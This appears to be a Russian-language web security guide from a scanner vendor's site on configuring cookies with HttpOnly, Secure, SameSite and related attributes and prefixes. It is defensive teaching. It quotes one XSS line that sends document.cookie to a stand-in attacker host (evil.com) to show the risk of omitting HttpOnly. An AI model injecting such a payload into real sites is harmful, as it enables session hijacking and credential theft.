Безопасность cookies: HttpOnly, Secure, SameSite
Почему безопасность cookies критически важна
Cookies — основной механизм хранения сессий и аутентификации в вебе. Неправильно настроенные cookies открывают двери для атак: кража сессий через XSS, подделка запросов через CSRF, перехват данных при передаче по HTTP. Три ключевых флага — HttpOnly, Secure и SameSite — закрывают большинство этих уязвимостей.
Флаг HttpOnly
Флаг HttpOnly запрещает доступ к cookie из JavaScript. Браузер отправляет cookie с HTTP-запросами, но document.cookie не видит её.
Без этого флага злоумышленник может внедрить скрипт через XSS-уязвимость и украсть сессионную cookie:
// XSS-атака без HttpOnly new Image().src = "https://evil.com/steal?c=" + document.cookie;
С флагом HttpOnly такая атака невозможна — JavaScript просто не имеет доступа к cookie.
Когда использовать: всегда для сессионных cookies и токенов аутентификации. Не устанавливайте для cookies, которые нужны JavaScript (например, настройки темы или языка).
Set-Cookie: session_id=abc123; HttpOnly; Path=/
Флаг Secure
Флаг Secure гарантирует, что cookie передаётся только по SSL/TLS проверку. Без этого флага cookie может быть перехвачена при передаче по HTTP — например, в публичной Wi-Fi сети.
Атака man-in-the-middle без флага Secure:
- Пользователь подключается к публичному Wi-Fi
- Браузер отправляет HTTP-запрос (до редиректа на HTTPS)
- Cookie передаётся открытым текстом
- Злоумышленник перехватывает сессию
Когда использовать: всегда, если сайт работает по HTTPS (а он должен). Все сессионные и аутентификационные cookies обязаны иметь этот флаг.
Set-Cookie: session_id=abc123; Secure; HttpOnly; Path=/
Атрибут SameSite
Атрибут SameSite контролирует, отправляется ли cookie при межсайтовых запросах. Это основная защита от CSRF-атак.
SameSite=Strict
Cookie не отправляется ни при каких межсайтовых запросах. Максимальная безопасность, но может ухудшить UX — если пользователь перейдёт на ваш сайт из email-письма, он не будет залогинен.
SameSite=Lax
Cookie отправляется при навигации верхнего уровня (переход по ссылке), но не при POST-запросах, iframe, AJAX с других сайтов. Это значение по умолчанию в современных браузерах — хороший баланс безопасности и удобства.
SameSite=None
Cookie отправляется при любых межсайтовых запросах. Обязательно требует флаг Secure. Используется только когда cookie действительно нужна на другом домене (виджеты, OAuth, iframe-интеграции).
// Рекомендуемые настройки для сессионной cookie Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ // Для cross-site виджета Set-Cookie: widget_token=xyz; Secure; SameSite=None; Path=/
Дополнительные атрибуты cookies
Domain
Определяет, для какого домена cookie доступна. Без атрибута Domain cookie привязана только к точному домену. С Domain=.example.com — доступна для всех поддоменов.
Рекомендация: не устанавливайте Domain без необходимости. Чем уже scope — тем безопаснее.
Path
Ограничивает cookie определённым путём. Path=/admin означает, что cookie отправляется только для запросов к /admin и вложенным путям.
Max-Age и Expires
Max-Age задаёт время жизни cookie в секундах. Expires — абсолютную дату. Без обоих атрибутов cookie является сессионной и удаляется при закрытии браузера.
Set-Cookie: remember_me=token; Max-Age=2592000; HttpOnly; Secure; SameSite=Lax
Префиксы __Host- и __Secure-
Специальные префиксы имён cookies дают дополнительные гарантии:
__Secure-— cookie обязана иметь флагSecure__Host-— cookie обязана иметьSecure,Path=/, и не иметьDomain
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
Рекомендуемая конфигурация
Для типичного веб-приложения:
// PHP
session_set_cookie_params([
'lifetime' => 0, // Сессионная cookie
'path' => '/',
'domain' => '', // Только текущий домен
'secure' => true, // Только HTTPS
'httponly' => true, // Нет доступа из JS
'samesite' => 'Lax' // Защита от CSRF
]);
Как проверить настройки cookies
Используйте сканер безопасности Enterno.io для проверки заголовков безопасности вашего сайта, включая настройки cookies. В Chrome DevTools cookies можно просмотреть на вкладке Application → Cookies, где видны все флаги каждой cookie.
Итоги
Три флага — HttpOnly, Secure, SameSite — обязательны для всех сессионных cookies. Они защищают от XSS-кражи сессий, MITM-перехвата и CSRF-атак. Настройте их один раз — и закройте целый класс уязвимостей.
Проверьте ваш сайт прямо сейчас
Проверить →